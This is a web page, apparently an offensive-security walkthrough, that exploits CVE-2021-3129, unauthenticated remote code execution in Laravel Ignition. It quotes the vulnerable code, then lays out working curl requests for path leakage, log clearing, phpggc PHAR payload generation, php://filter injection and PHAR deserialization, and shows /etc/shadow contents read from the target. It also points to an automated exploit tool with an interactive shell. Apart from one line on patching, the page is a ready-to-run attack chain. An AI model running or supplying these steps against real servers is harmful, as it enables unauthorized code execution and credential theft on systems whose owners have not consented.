Skip to content
HackIndex logo

HackIndex

Laravel Ignition Remote Code Execution - CVE-2021-3129

6 min read Jul 10, 2026

Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.

Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions.

Root Cause

The endpoint processes solution classes without authentication. MakeViewVariableOptionalSolution reads a file, appends ?? '' to a variable via string replace, validates Blade tokens, then writes the modified content back.

Vulnerable code (Ignition ≤ 2.5.1):

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

  public function makeOptional(array $parameters = [])
  {
      $originalContents = file_get_contents($parameters['viewFile']);
      $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
  
      $originalTokens = token_get_all(Blade::compileString($originalContents));
      $newTokens = token_get_all(Blade::compileString($newContents));
  
      $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
  
      if ($expectedTokens !== $newTokens) {
          return false;
      }
  
      return $newContents;
  }
}

User-controlled viewFile feeds directly into file_get_contents() and file_put_contents(). Stream wrappers bypass the replace logic while preserving Blade token validation through encoded data.

Automated Exploitation

Tool automates path/OS detection, log clearing, payload generation/cycling across Monolog and Laravel chains, precise multi-step filter injection using the generated payload, error triggering, deserialization, cleanup, and interactive shell.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-3129.py -u $TARGET_URL

Vulnerability Detection and Path Discovery

Trigger a MethodNotAllowed exception with a GET request.

┌──(kali㉿kali)-[~]
└─$ curl -I $TARGET_URL/_ignition/execute-solution
HTTP/1.0 405 Method Not Allowed
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 15:20:58 GMT
Connection: close
X-Powered-By: PHP/7.3.31
allow: POST
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 15:20:58 GMT
Content-type: text/html; charset=UTF-8

A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.

The stack trace leaks absolute paths.

┌──(kali㉿kali)-[~]
└─$ curl $TARGET_URL/_ignition/execute-solution 2>/dev/null | grep -E "(vendor.*laravel.*framework|vendor\\\\laravel\\\\framework)"
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
#0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection->methodNotAllowed(Array, 'GET')
#1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection->getRouteForMethods(Object(Illuminate\Http\Request), Array)
#2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection->handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
#3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection->match(Object(Illuminate\Http\Request))
#4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router->findRoute(Object(Illuminate\Http\Request))
...
#17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance->handle(Object(Illuminate\Http\Request), Object(Closure))
#19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors->handle(Object(Illuminate\Http\Request), Object(Closure))
#21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies->handle(Object(Illuminate\Http\Request), Object(Closure))
#22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
#23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline->then(Object(Closure))
#24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))

Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).

Example leaked path: /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php

Application root: /src/laravel

Log path uses forward slashes across OS.

┌──(kali㉿kali)-[~]
└─$ export LOG_PATH="/src/laravel/storage/logs/laravel.log"

Log Clearing

Overwrite the log before injection.

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=consumed/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:27:16 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:27:16 GMT
Content-Type: text/html; charset=UTF-8

Run twice to force log file creation. Success returns 200 OK.

PHAR Payload Generation

Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ambionics/phpggc.git
┌──(kali㉿kali)-[~]
└─$ cd phpggc
┌──(kali㉿kali)-[~]
└─$ export COMMAND="cat /etc/shadow"
┌──(kali㉿kali)-[~]
└─$ export PAYLOAD=$(php -dphar.readonly=0 ./phpggc-master/phpggc laravel/rce13 system "$COMMAND" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/(.)/\1=00/g')

The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.

Manual RCE Chain

Clear the log first with the previous provided clear CURL command

Create an alignment entry

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AA"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset=UTF-8

Success returns 500 Internal Server Error. This places "AA" in the log.

Inject the padded payload

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AAAAAAAAAAAAAA'"$PAYLOAD"'"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset=UTF-8

Success returns 500. The encoded PHAR now sits in the log.

Decode the payload in place

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:34:17 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:34:17 GMT
Content-Type: text/html; charset=UTF-8

Success returns 200 OK.

Trigger deserialization

┌──(kali㉿kali)-[~]
└─$ curl -k -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"phar://'"$LOG_PATH"'"}}' 2>/dev/null | sed '1,/<\/html>/d'
root:!::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
www-data:!:18914:0:99999:7:::
utmp:!:18914:0:99999:7:::

Command output appears after the closing </html> tag.

If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.

References